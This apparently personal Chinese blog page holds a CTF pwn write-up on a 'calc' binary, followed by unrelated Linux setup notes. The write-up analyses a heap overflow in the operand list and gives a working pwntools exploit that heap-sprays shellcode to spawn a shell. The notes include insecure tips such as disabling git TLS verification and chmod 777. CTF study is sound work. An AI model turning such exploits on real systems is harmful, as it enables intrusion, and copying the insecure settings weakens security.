第11行是函数sub_8048BC1(&s),处理输入的字符串s。使用strtok将字符串s进行分解。

char *strtok(char *str, const char *delim) 分解字符串 str 为一组字符串,delim 为分隔符。

这个函数中,有三个大的处理逻辑:

  • while ( s1 ):对传入字符串分解得到的运算数和运算符进行解析,并将运算数链接到bss段的dword_804D0B4,将运算符链接到bss段的dword_804D0AC。
  • while ( !sub_804A8D7(dword_804D0AC) ):判断dword_804D0AC指向堆空间的第一个值是否为0(第一个值代表运算符个数),即判断是否存在运算符。
  • if ( !result )

while(s1)

如下对运算数的处理中存在漏洞函数。重点看a和b两段指令。

    if ( (*__ctype_b_loc())[*s1] & 0x800 || *s1 == '-' && strlen(s1) > 1 )
    {
      if ( sub_804886B(s1) )
      {
        v1 = sub_804A6F8(byte_804AC65, s1);		//a
        sub_804A8B5(dword_804D0B4, v1);			//b
      }
      else
      {
        puts("invalid number");
      }
      goto LABEL_68;
    }
  • a - sub_804A6F8函数

    _DWORD *__cdecl sub_804A6F8(char *s, char *nptr)
    {
      _DWORD *v2; // ST1C_4
      
      v2 = calloc(0x10u, 1u);
      v2[2] = strtol(nptr, 0, 10);
      v2[1] = "int";
      *v2 = strdup(s);
      v2[3] = strlen(nptr);
      return v2;
    }
    

    可以看到,该函数中生成了如下堆块,并返回给上层调用者。

    heap1中存放着函数的第一个参数;string1处的字符串为“int”;num是运算数的十进制表达式;最后一个块中存放运算数的长度信息。
    |------------|
    | &heap1     |
    |------------|
    | &string1   |
    |------------|
    | num        |
    |------------|
    | strlen(num)|
    |------------|
    
  • b - sub_804A8B5函数

    _DWORD *__cdecl sub_804A8B5(_DWORD *a1, int a2)
    {		
      _DWORD *result; // eax
      
      ++*a1;
      result = a1;
      a1[*a1 + 1] = a2;
      return result;
    }
    

    该函数的入参为:a1是dword_804D0B4(即指向0x84大小的堆块),a2是sub_804A6F8函数返回的堆块地址。函数的功能是操作0x84堆块中的内容,将堆中第一块(4字节)的内容自加1(作为计数,记录堆块中链接了多少个操作数),并从第3个块(a1[2])处链接操作数堆块a2。

对运算符的处理过程跟以上对运算数的处理过程基本一致,只不过运算符是链接在dword_804D0AC指向的堆块上。

由于dword_804D0B4指向的堆块先于dword_804D0AC指向堆块的申请,因此他俩在堆空间的排布如下:

image

dword_804D0B4指向的堆块大小为0x84,最多可存储0x84/0x4 - 2=0x21 - 2=33 - 2 = 31个运算数信息。但是我们可以输入256个字节的字符串,因此我们可输入的运算数远远大于31,那么此时运算数信息就会溢出到存放运算符的堆块。如上图所示,第33个运算数的堆块会覆盖绿色堆块中的count,那么之后访问运算符的时候会取到一个超大的值。

while ( !sub_804A8D7(dword_804D0AC) )

    v9 = sub_804A88E(dword_804D0AC);
    (*(v9 + 8))();

先调用sub_804A88E函数,从运算符堆块中取出一个运算符,然后对该运算符取值运行。

int __cdecl sub_804A88E(_DWORD *a1)
{
  return a1[(*a1)-- + 1];
}

我们可以看到sub_804A88E中访问了运算符堆块的第一个count,即*a1。上面讨论了这个值可以被越界覆盖,因此在这里会越界访问,导致程序崩溃。

1.4 poc

$ python -c "print '1 ' * 33"
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 
$ gdb calc
gef➤  r
Starting program: /mnt/hgfs/VMshare/calc/calc 
> 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 

Program received signal SIGSEGV, Segmentation fault.
0x0804a89c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0804e0a8  →  0x0804f058  →  0x0804f070  →  0x00000000
$ebx   : 0x0       
$ecx   : 0x0       
$edx   : 0x0804f058  →  0x0804f070  →  0x00000000
$esp   : 0xffffcd08  →  0x00000000
$ebp   : 0xffffcd18  →  0xffffcd78  →  0xffffcea8  →  0x00000000
$esi   : 0xf7fb6000  →  0x001b1db0
$edi   : 0xf7fb6000  →  0x001b1db0
$eip   : 0x0804a89c  →   mov eax, DWORD PTR [eax+edx*4+0x4]
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────────────────────────────── stack ────
0xffffcd08│+0x0000: 0x00000000	 ← $esp
0xffffcd0c│+0x0004: 0x00000000
0xffffcd10│+0x0008: 0x00000000
0xffffcd14│+0x000c: 0x00000000
0xffffcd18│+0x0010: 0xffffcd78  →  0xffffcea8  →  0x00000000	 ← $ebp
0xffffcd1c│+0x0014: 0x080493b6  →   add esp, 0x10
0xffffcd20│+0x0018: 0x0804e0a8  →  0x0804f058  →  0x0804f070  →  0x00000000
0xffffcd24│+0x001c: 0x0804ac54  →   and BYTE PTR [eax], al
───────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804a892                  in     al, dx
    0x804a893                  adc    BYTE PTR [ebx+0x108b0845], cl
    0x804a899                  mov    eax, DWORD PTR [ebp+0x8]
 →  0x804a89c                  mov    eax, DWORD PTR [eax+edx*4+0x4]
    0x804a8a0                  mov    DWORD PTR [ebp-0x4], eax
    0x804a8a3                  mov    eax, DWORD PTR [ebp+0x8]
    0x804a8a6                  mov    eax, DWORD PTR [eax]
    0x804a8a8                  lea    edx, [eax-0x1]
    0x804a8ab                  mov    eax, DWORD PTR [ebp+0x8]
────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "calc", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804a89c → mov eax, DWORD PTR [eax+edx*4+0x4]
[#1] 0x80493b6 → add esp, 0x10
[#2] 0x8048bb9 → add esp, 0x10
[#3] 0xf7e1c637 → __libc_start_main(main=0x80488cb, argc=0x1, argv=0xffffcf54, init=0x804aba0, fini=0x804ac00, rtld_fini=0xf7fe8880 <_dl_fini>, stack_end=0xffffcf4c)
[#4] 0x8048791 → hlt 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/VMshare/calc/calc
0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/VMshare/calc/calc
0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/VMshare/calc/calc
0x0804e000 0x0806f000 0x00000000 rwx [heap]
0xf7e03000 0xf7e04000 0x00000000 rwx 
0xf7e04000 0xf7fb4000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb6000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb7000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7fb7000 0xf7fba000 0x00000000 rwx 
0xf7fd3000 0xf7fd4000 0x00000000 rwx 
0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
gef➤  

可以看到,程序运行到0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4]处时,崩溃了。eax+edx*4+0x4 = 0x0804e0a8 +0x0804f058*4 + 0x4 = 0x2818a20c。通过上面的vmmap信息,可以看出,0x2818a20c这个地址并未被映射,所以访问时会导致程序异常崩溃。

我们要怎样利用这个异常访问呢?如果我们能将这个超大地址映射成功,并且能控制这个地址的内容,是不是就能控制执行流了呢?

这个题没有开NX,因此堆栈上的数据可以执行,我们可以在堆上布局shellcode。

2 利用

2.1 申请不释放的堆空间

我们发现乘法函数sub_8049A0E中有一段申请内存的操作,但是并没有释放这些内存。因此我们可以利用该乘法函数,不断扩展堆空间,使0x2818a20c这个位置被映射。

如下代码段是sub_8049A0E函数中涉及内存申请的部分。当一个字符类型和一个整形相乘时,会根据字符长度和整型值的乘积申请堆空间。*(v8 + 12) 是字符的长度,*(v7 + 8)是整型值。

       else if ( !strcmp(*(v8 + 4), "str") && !strcmp(*(v7 + 4), "int") )
        {
          v6 = *(v7 + 8);
          dest = calloc(*(v8 + 12) * *(v7 + 8) + 1, 1u);
          v9 = dest;

因此用如下poc测试申请堆空间,确认能否将较高地址处映射成功。

#coding=utf-8

from pwn import *
context(arch = "i386",os = "linux")
myelf = ELF("./calc")
myproc = process(myelf.path)

payload = '"a " * 100000'
for i in range(6000):
    myproc.sendlineafter(">",payload)
gdb.attach(myproc,"b * 0x0804A89C\nc")

myproc.recvuntil(">")
payload = "1 " * 33
myproc.sendline(payload)

myproc.interactive()

执行结果如下,可见0x09779000至0x510e2000的地址空间全被映射为堆空间了,并且被我们的输入”a “给填满了。

───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x097790a8  →  0x510c22d8  →  0x510c22f0  →  0x00000000
$ebx   : 0x0       
$ecx   : 0x0       
$edx   : 0x510c22d8  →  0x510c22f0  →  0x00000000

─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804a892                  in     al, dx
    0x804a893                  adc    BYTE PTR [ebx+0x108b0845], cl
    0x804a899                  mov    eax, DWORD PTR [ebp+0x8]
 →  0x804a89c                  mov    eax, DWORD PTR [eax+edx*4+0x4]
    0x804a8a0                  mov    DWORD PTR [ebp-0x4], eax
    0x804a8a3                  mov    eax, DWORD PTR [ebp+0x8]
    0x804a8a6                  mov    eax, DWORD PTR [eax]

gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/VMshare/calc/calc
0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/VMshare/calc/calc
0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/VMshare/calc/calc
0x09779000 0x510e2000 0x00000000 rwx [heap]
0xf7dad000 0xf7dae000 0x00000000 rwx 
0xf7dae000 0xf7f5e000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7f5e000 0xf7f60000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7f60000 0xf7f61000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7f61000 0xf7f64000 0x00000000 rwx 
0xf7f7d000 0xf7f7e000 0x00000000 rwx 
0xf7f7e000 0xf7f81000 0x00000000 r-- [vvar]
0xf7f81000 0xf7f83000 0x00000000 r-x [vdso]
0xf7f83000 0xf7fa6000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7fa6000 0xf7fa7000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7fa7000 0xf7fa8000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffd0000 0xffff1000 0x00000000 rwx [stack]

gef➤  x/10gx 0x33333333
0x33333333:	0x6161616161616161	0x6161616161616161
0x33333343:	0x6161616161616161	0x6161616161616161
0x33333353:	0x6161616161616161	0x6161616161616161
0x33333363:	0x6161616161616161	0x6161616161616161
0x33333373:	0x6161616161616161	0x6161616161616161

此时eax+edx*4+0x4的计算如下:

>>> eax = 0x097790a8
>>> edx = 0x510c22d8
>>> hex(eax+edx*4+0x4)
'0x14da81c0c'

由于环境是32位的,所以最终计算结果为’0x4da81c0c’,这个值是sub_804A88E函数的返回值。这个返回值作为地址,偏移8字节的位置处的值,会被作为函数执行。如果我们能劫持0x4da81c0c+8=0x4da81c14地址处的值,就可以劫持控制流。

    v9 = sub_804A88E((_DWORD *)G_D0AC);
    (*(void (**)(void))(v9 + 8))();

2.2 exp

通过以上的分析可知,我们需要往堆空间布局一些shellcode,并且劫持(*(void (**)(void))(v9 + 8))()执行我们的shellcode。但是我们很难精确将shellcode布置到该地址,因此采用’\x0c’滑板指令,结合shellcode的方式完成利用。

#coding=utf-8

from pwn import *
context(arch = "i386",os = "linux")
myelf = ELF("./calc")
myproc = process(myelf.path)

#payload = '"a" * 100000'
payload = '"' + asm(shellcraft.sh()).ljust(200,'\x0c') + '" * 500'
for i in range(6000):
    myproc.sendlineafter(">",payload)
gdb.attach(myproc,"b * 0x0804A89C\nc")

myproc.recvuntil(">")
payload = "1 " * 33
myproc.sendline(payload)

myproc.interactive()
Read More

temp

1 解决ubuntu中”Could not get lock /var/lib/dpkg/lock”

How to Fix ‘E: Could not get lock /var/lib/dpkg/lock’ Error in Ubuntu Linux

How To Fix “Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)” Errors

2 虚拟机相关

vmware

安装vmware-tools

  • 点击菜单栏中“虚拟机” –> “安装vmware tools”
  • 此时虚拟机中会有一个CD driver
  • 点击CD driver,将其中的VMware tar包拷贝到本地目录
  • 解tar包
  • 进解开的tar包目录,用sudo执行vmware-xxx.pl文件安装即可

安装open-vm-tools

sudo apt update
sudo apt install open-vm-tools
//桌面版还需安装如下包,以支持双向拖拽文件
sudo apt install open-vm-tools-desktop

共享文件夹:

  • 在线方式
//虚拟机开机的情况下,在“虚拟机”-->“设置”-->“选项”中设置好共享文件夹
//便可以在/mnt/hgfs/xxx共享目录访问了
//如果这样不可访问的话,就参照离线方式的命令执行一遍
  • 离线方式
//先将虚拟机关机,在“虚拟机”-->“设置”-->“选项”中设置好共享文件夹
//使用如下命令可以查看共享目录设置是否成功
vmware-hgfsclient
//再进入虚拟机中
mkdir /mnt/hgfs
cd /mnt
sudo chmod 777 ./hgfs
sudo chown bling:bling hgfs -R
vmhgfs-fuse .host:/ /mnt/hgfs

virtual box

virtual box增强功能

安装增强功能 https://blog.csdn.net/caoleiwe/article/details/78583676

设置共享文件夹 https://blog.csdn.net/skylake_/article/details/53132499

3 Kali 2020版中文显示乱码的解决方案

安装完2020最新kali中文版后,发现界面出现了无数“麻将块”。原因是该版本对中文的不支持,因此需要我们自己安装一下中文字体。

更改kali的镜像源

在sources.list中添加一个源:

vim /etc/apt/sources.list

# tsinghua university
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

添加完源之后,必须立马执行更新命令:

sudo apt-get update

安装中文字体

依次执行以下命令:

# 安装本地设置
sudo apt-get install locales
locale -a
# 安装中文字体
sudo apt-get install xfonts-intl-chinese
sudo apt-get install ttf-wqy-microhei
#重启kali
sudo reboot

reference

2019kali中文乱码

解决安装kali 2020.1版本后的中文乱码问题

什么是locale?

4 win10 安装ubuntu1804双系统

过程主要参考了以下两篇博客:

win10下装ubuntu双系统(免U盘)

Windows + Linux 双系统的安装

第一步:制作启动u盘

我使用的ultraISO,网上很多教程。

第二步:创建磁盘分区

在windows中空出500G(我要经常用ubuntu系统,所以空出的多,实际上50G也可以)未分配的磁盘。

桌面上电脑图标–》右键选择管理–》磁盘管理,然后划分一块未分配的磁盘(在要分配的磁盘上右键–》压缩卷)。

第三步:禁用快速启动

控制面板–》系统和安全–》电源选项–》选择电源按钮的功能–》更改当前不可用的设置。将该界面的“启用快速启动”选项前的勾去掉。保存修改。

第四步:关闭安全启动

重启进入bios设置

第五步:安装过程

重启进入bios,并选择从u盘启动。其中只有以下一点需要注意。

有一步选择是否安装到windows旁边时:

1、选择along side windows,继续下一步不需要手动划分磁盘,它就自动把我之前空出的500G给用了。(不知道为啥,误打误撞发现这样也可以安装上双系统)

2、如果想自己划分磁盘的话,一定要记得选“其他”,然后设置分区。

再次启动

我用的方法比较笨,在开机的一瞬间,需要一直按ESC键(惠普电脑)进入开机选项,然后选择F9。进入F9后就可以选择是启动windows还是启动ubuntu啦。

5 ubuntu 1804 安装搜狗输入法

在官网下载linux版搜狗输入法的deb安装包,下载到本地后,执行以下三条命令

sudo dpkg -i sogoupinyin_2.3.1.0112_amd64.deb
sudo apt --fix-broken install
sudo dpkg -i sogoupinyin_2.3.1.0112_amd64.deb

在settings -> Region& Language -> Manage Installed Languages中把Keyboard input method system从IBus修改为fcitx。然后点击Apply System Wide。最后重启电脑。

重启完成后,在系统中搜索fcitx configuration,点击左下角的加号,取消勾选Only Show Current Language,然后选择Sougou Pinyin,OK一下就可以了。

现在就可以通过ctrl+shift切换输入法!

6 Linux上安装samba服务

6.1 ubuntu环境

(1)安装smb服务

sudo apt update
sudo apt install samba
whereis samba

(2)指定共享文件夹

sudo vim /etc/samba/smb.conf
	[sambashare]
    		comment = Samba on Ubuntu
    		path = /any/folder/
    		read only = no
    		browsable = yes
sudo service smbd restart
sudo ufw allow samba (ps:如果没有防火墙或者防火墙未开启,这一步可省略)

(注意: /any/folder/需要将folder权限设置为777,这样才能正常访问)

(3)指定访问用户

sudo smbpasswd -a username

username是ubuntu上的一个普通用户。

(4)windows上访问

//ubuntu-ip/sambashare

windows访问如上地址就可以进入到/any/folder/目录了!

6.2 redhat环境

参考:

ubuntu上设置samba服务

redhat上设置samba服务

7 Linux上添加/删除用户

ubuntu添加新用户:

adduser bling

将用户添加到root组

sudo chmod u+w /etc/sudoers
sudo vim /etc/sudoers
	在root下方添加:bling ALL(ALL:ALL) ALL
sudo chmod u-w /etc/sudoers

删除用户:

deluser bling

8 Linux上安装java jdk

这里以openjdk为例,如果需要安装oracle Java JDK,请用参考链接中的方式。

# 更新软件包列表
sudo apt-get update
# 安装openjdk-8-jdk
sudo apt-get install openjdk-8-jdk
# 查看java版本,验证是否安装成功
java -version

参考:

Ubuntu 18.04安装Java JDK8三种方式

9 Linux上http代理和git代理设置

9.1 http代理

  • 设置
export http_proxy=ip:port
export https_proxy=ip:port
# 如果代理服务器需要登录:
export http_proxy=http://userName:password@proxyAddress:port
export https_proxy=http://userName:password@proxyAddress:port
  • 取消设置:
unset http_proxy 
# 或 
unset https_proxy
  • 永久加入
# 在shell配置文件.bashrc或者.zshrc中添加上述内容
vim ~/.bashrc

9.2 git代理

  • 设置 - 有用户名密码
git config --global user.name "blingxxxxuanxxx"
git config --global user.email "xxx@163.com"
ssh-keygen -t rsa -b 4096 -C "xxx@163.com"
git config --global http.proxy [http://用户名:密码@ip:port](http://用户名:密码@ip:port/)
git config --global https.proxy [http://用户名:密码@ip:port](http://用户名:密码@ip:port/)
git config --global http.sslVerify false
  • 设置 - 无用户名密码情况
git config --global http.proxy [http://ip:port](http://ip:port/)
git config --global https.proxy [http://ip:port](http://ip:port/)
  • 查看代理:
git config --global --get http.proxy
git config --global --get https.proxy
  • 取消代理
git config --global --unset http.proxy
git config --global --unset https.proxy
  • 其他命令
git config --list

参考:

让终端走代理的几种方法

10 Linux上升级python

10.1 ppa源升级

  • 添加ppa源,安装python 3.6
sudo add-apt-repository ppa:jonathonf/python-3.6
sudo apt-get update
sudo apt-get install python3.6
  • 调整python3的优先级的方法见5.2

10.2 源码升级

  • 去官网下载所需版本的python源码包。

python源码网址

  • 安装依赖
sudo apt-get install gcc make zlib1g-dev
sudo apt-get install libbz2-dev
sudo apt-get install libsqlite3-dev
sudo apt-get install python3-dev libxml2-dev libffi-dev libssl-dev libxslt1-dev
  • 开始安装
tar -zxvf Python-3.6.7.tgz
sudo mv Python-3.6.7 /usr/local
cd /usr/local/Python-3.6.7
./configure
sudo make
sudo make install
  • 更改python版本优先级

查询python安装路径:whereis python

调整优先级,将新安装的3.6调到最大:

sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.7 100
sudo update-alternatives --install /usr/bin/python python /usr/local/bin/python3.6 200
sudo update-alternatives --install /usr/bin/python python /usr/bin/python3.5 150

到这一步就算是结束了,此时使用python --version可以看到python已经是3.6版本的了。

  • 后续设置变更
# 查询可配置的python
update-alternatives --list python
# 切换默认python版本
update-alternatives --config python

参考:

Ubuntu 16.04 升级Python版本到3.6

Ubuntu 16.04 源码安装Python-3.6.7

linux中安装Thrift(指定版本)

11 Linux下生成/应用patch

普通patch

  1. 为单个文件生成patch

    diff -up /oldFilePath /newFilePath > file.patch

    参数说明:

    -u 显示有差异行的前后几行(上下文), 默认是前后各3行, 这样, patch中带有更多的信息.

    -p 显示代码所在的c函数的信息.

  2. 为多个文件生成patch diff -uprN /oldFolderPath /newFolderPath > folder.patch

    参数说明:

    -r 递归地对比一个目录和它的所有子目录(即整个目录树).

    -N 如果某个文件缺少了, 就当作是空文件来对比. 如果不使用本选项, 当diff发现旧代码或者新代码缺少文件时, 只简单的提示缺少文件. 如果使用本选项, 会将新添加的文件全新打印出来作为新增的部分.

  3. linux打补丁

    patch -p1 < demo.patch

    生成的补丁中, 路径信息包含了你的Linux源码根目录的名称, 但其他人的源码根目录可能是其它名字, 所以, 打补丁时, 要进入你的Linux源码根目录, 并且告诉patch工具, 请忽略补丁中的路径的第一级目录(参数-p1).

    diff命令必须在整个Linux源码的根目录的上一级目录中执行.

  4. solaris打补丁

    gpatch -p1 < demo.patch

例如:

patch -p1 < huawei_patch/huawei_tf_gic_0001.patch
patch -p1 < huawei_patch/huawei_tf_gic_0002.patch

git patch

https://juejin.im/post/5b5851976fb9a04f844ad0f4

12 ssh

安装命令:

# 客户端
sudo apt-get install ssh  或者 sudo apt-get installopenssh-client
# 服务端
sudo apt-get install openssh-server

ssh服务命令:

sudo/etc/init.d/ssh start
sudo/etc/init.d/ssh restart
sudo/etc/init.d/ssh stop

配置文件:

# 更改ssh配置文件前最好先备份一个
sudo cp/etc/ssh/sshd_config /etc/ssh/sshd_config.original
# 可以在如下配置文件中修改Port端口号(默认是22),PermitRootLogin等
vim /etc/ssh/sshd_config

生成ssh key免密登录:

# 在客户端生成用于登录的公私钥,生成后位于~/.ssh/目录下
ssh-keygen -t rsa -b 4096 -C "xxx@mail.com"
# 将公钥拷贝到远端服务器的~/.ssh/目录下,并重命名为authorized_keys
scp ~/.ssh/id_rsa.pub user@ip:~/.ssh/authorized_keys

参考:

Generating a new SSH key and adding it to the ssh-agent

13 Windows上使用Linux

windows 上运行linux

不用装双系统,直接在 Windows 上体验 Linux:Windows Subsystem for Linux

14 ubuntu设置静态ip

1、更改interfaces文件中的内容

sudo vim /etc/network/interfaces

auto enp0s8
iface enp0s8 inet static
address 192.168.56.116
netmask 255.255.255.0
gateway 192.168.56.1

2、刷新ip

sudo ip addr flush enp0s8
sudo systemctl restart networking.service

3、设置重启后依然生效

sudo vim /etc/NetworkManager/NetworkManager.conf
》将NetworkManager.conf中managed=false改为managed=true
sudo service network-manager restart

参考文章如下:

ubuntu 16.04 设置静态IP

Read More

^